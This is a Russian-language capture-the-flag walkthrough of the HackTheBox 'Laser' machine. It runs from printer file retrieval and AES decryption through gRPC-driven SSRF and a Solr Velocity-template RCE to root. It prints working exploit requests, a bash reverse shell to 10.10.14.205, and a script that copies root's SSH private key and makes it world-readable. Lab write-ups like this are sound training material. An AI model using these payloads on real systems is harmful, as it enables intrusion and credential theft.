Русский
Русский
English
Статистика
Реклама

HackTheBox. Прохождение Laser. Jetdirect, RPC и кража SSH



Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье мы работаем с принтером и получаем документ, который даст нам вектор захвата хоста, найдем в памяти ключ шифрования и расшифруем найденный документ. Далее работаем с gRPC и даже получаем RCE. Как вектор LPE, пробуем найти уязвимость в скиптах, использующих SSH.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.201, который я добавляю в /etc/hosts.

10.10.10.201 laser.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



После сканирования мы по сути ничего не имеем. Давайте попробуем нагуглить какие либо упоминания о проблемах безопасности, связанных с данными портами (кроме SSH).



И мы находим даже инструмент, который позволяет нам работать с принтером.

Entry Point


Давайте посмотрим, что мы можем в итоге получить.



Осмотревшись, мы находим только один файл.



Давайте получим его и откроем.



Проблема в том, что она зашифрован, поэтому мы не можем его просмотреть.



Но мы можем достать ключ шифрования.



Так как файл зашифрован с помощью AES CBC, мы можем его расшифровать.
import base64
from Crypto.Cipher import AESmess = open("./PRET/queued", "r").read()[2:].replace("'", "")mess_decrypt = base64.b64decode(mess)IV, CT = mess_decrypt[8:24], mess_decrypt[24:]chip = AES.new('13vu94r6643rv19u', AES.MODE_CBC, IV)OT = chip.decrypt(CT)with open("decr.pdf", "wb") as f:    f.write(OT)



По сигнатуре видим, что это PDF документ. А уже в самом документе находим кое-что интересное.



Таким образом, 9000 порт отвечает за RPC приложение с реализованным методом Feed. Оно принимает входные сериализованные данные Content и возвращает Data с помощью службы Print. gRPC это высокопроизводительный фреймворк для удаленного вызова процедур, разработанный компанией Google.

Сперва нам нужно описать формат обмена данными. Для этого используем protocol buffers.Указываем версию protobuf, описываем типы данных для клиент-серверного взаимодействия. Будем отсылать текстовые данные (типа string) Content и получать данные Data с помощью Print. Создадим файл ralf.proto (можно свое название).
syntax = "proto3";

message Content {
string data = 1;
}

message Data {
float feed = 1;
}

service Print {
rpc Feed(Content) returns (Data) {}
}

Далее установим две библиотеки: grpcio и grpcio-tools. Первая это сама библиотека для grpc, а вторая набор примочек для автоматизации разработки.
sudo pip3 install grpciosudo pip3 install grpcio-tools

Теперь сгенерируем два файла.
python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ralf.proto



Файл _pb2.py содержит описание протокола взаимодействия. Файл _pb2_grpc.py хранит классы, которые нужно использовать в сервере и клиенте.
После необходимых импортов, нужно открыть канал. Затем подключаем клиент нашего RPC API к этому каналу и вызываем функции, как будто удаленно никуда не обращаемся! Мы знаем, что порт 22 открыт. Давайте проверим реакцию, на запрос feed с этого порта и потенциально закрытого.
import pickle, base64import grpc, ralf_pb2, ralf_pb2_grpcp = '{"feed_url":"http://localhost:22"}'p2 = base64.b64encode(pickle.dumps(p))channel = grpc.insecure_channel('10.10.10.201:9000')stub = ralf_pb2_grpc.PrintStub(channel)content = ralf_pb2.Content(data=p2)try:    response = stub.Feed(content, timeout=30)    print(response)except Exception as e:    print(e.details())



То есть мы можем узнать, какие порты открыты для localhost. Давайте переберем все пароли. Порты разделим на закрытые, открытые и порты, отвечающие feed (так как 22 порт ответил not allowed).
import pickle, base64import grpc, ralf_pb2, ralf_pb2_grpcfor port in range(1, 65536):    p = '{"feed_url":"http://localhost:'+ str(port) +'"}'    p2 = base64.b64encode(pickle.dumps(p))    channel = grpc.insecure_channel('10.10.10.201:9000')    stub = ralf_pb2_grpc.PrintStub(channel)    content = ralf_pb2.Content(data=p2)    try:        response = stub.Feed(content, timeout=30)        print("Port found: " + str(port))    except Exception as e:        if "Connection refused" in e.details():            print("Port: "+ str(port), end="\r")        else:            print("Port open: " + str(port) + " "*10)



И находим нужный, отвечающий нам порт.

USER


Узнаем что это.





И находим даже эксплоит. Таким образом, мы можем получить RCE, выполнив 2 запроса, как в инструкции. Первый запрос:
import pickle, base64import grpc, ralf_pb2, ralf_pb2_grpcp = '{"feed_url":"gopher://localhost:8983/0POST%20%2Fsolr%2Fstaging%2Fconfig%20HTTP%2F1.1%0AHost%3A%20localhost%3A8983%0AContent-Type%3A%20application%2Fjson%0AContent-Length%3A%20259%0A%0A%7B%0A%20%20%22update-queryresponsewriter%22%3A%20%7B%0A%20%20%20%20%22startup%22%3A%20%22lazy%22%2C%0A%20%20%20%20%22name%22%3A%20%22velocity%22%2C%0A%20%20%20%20%22class%22%3A%20%22solr.VelocityResponseWriter%22%2C%0A%20%20%20%20%22template.base.dir%22%3A%20%22%22%2C%0A%20%20%20%20%22solr.resource.loader.enabled%22%3A%20%22true%22%2C%0A%20%20%20%20%22params.resource.loader.enabled%22%3A%20%22true%22%0A%20%20%7D%0A%7D"}'p2 = base64.b64encode(pickle.dumps(p))channel = grpc.insecure_channel('10.10.10.201:9000')stub = ralf_pb2_grpc.PrintStub(channel)content = ralf_pb2.Content(data=p2)try:stub.Feed(content, timeout=30)except Exception as e:print(e.details())

И во втором запросе бэкконнект шелл: bash -i >& /dev/tcp/10.10.14.205/4321 0>&1.
import pickle, base64import grpc, ralf_pb2, ralf_pb2_grpcp = '{"feed_url":"http://localhost:8983/solr/staging/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.205%2F4321%200%3E%261%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"}'p2 = base64.b64encode(pickle.dumps(p))channel = grpc.insecure_channel('10.10.10.201:9000')stub = ralf_pb2_grpc.PrintStub(channel)content = ralf_pb2.Content(data=p2)try:        response = stub.Feed(content, timeout=30)except Exception as e:        print(e.details())

И у нас есть шелл от имени пользователя.



ROOT


Для удобного доступа сгенерируем и запишем SSH ключ.





Для разведки на системе используем LinPEAS. И отмечаем наличие сетевого интерфейса docker, а также наличие большого количества SSH соединений с этого интерфейса.





Давайте проследим новые процессы с помощью pspy. И видим пароль для подключения, а также выполняемый скрипт.



Дело в том, что мы можем перенаправить соединение и выполнить скрипт с локального хоста от имени root. Давайте зайдем на docker и загрузим на хост socat. После чего остановим службу SSH и выполним перенаправление.



А теперь создадим на удаленном хосте (не в docker) скрипт /tmp/clear.sh, который будет копировать SSH ключ рута и делать его доступным для всех.
#!/bin/shcp /root/.ssh/id_rsa /tmp/; chmod 777 /tmp/id_rsa

Подождав немного обнаружим желанный ключ.



И подключимся как root.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Источник: habr.com
К списку статей
Опубликовано: 19.12.2020 20:12:49
0

Сейчас читают

Комментариев (0)
Имя
Электронная почта

Информационная безопасность

Python

Ctf

Pentest

Pentesting

Ralf_rt

Htb

Red team

Red teaming

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru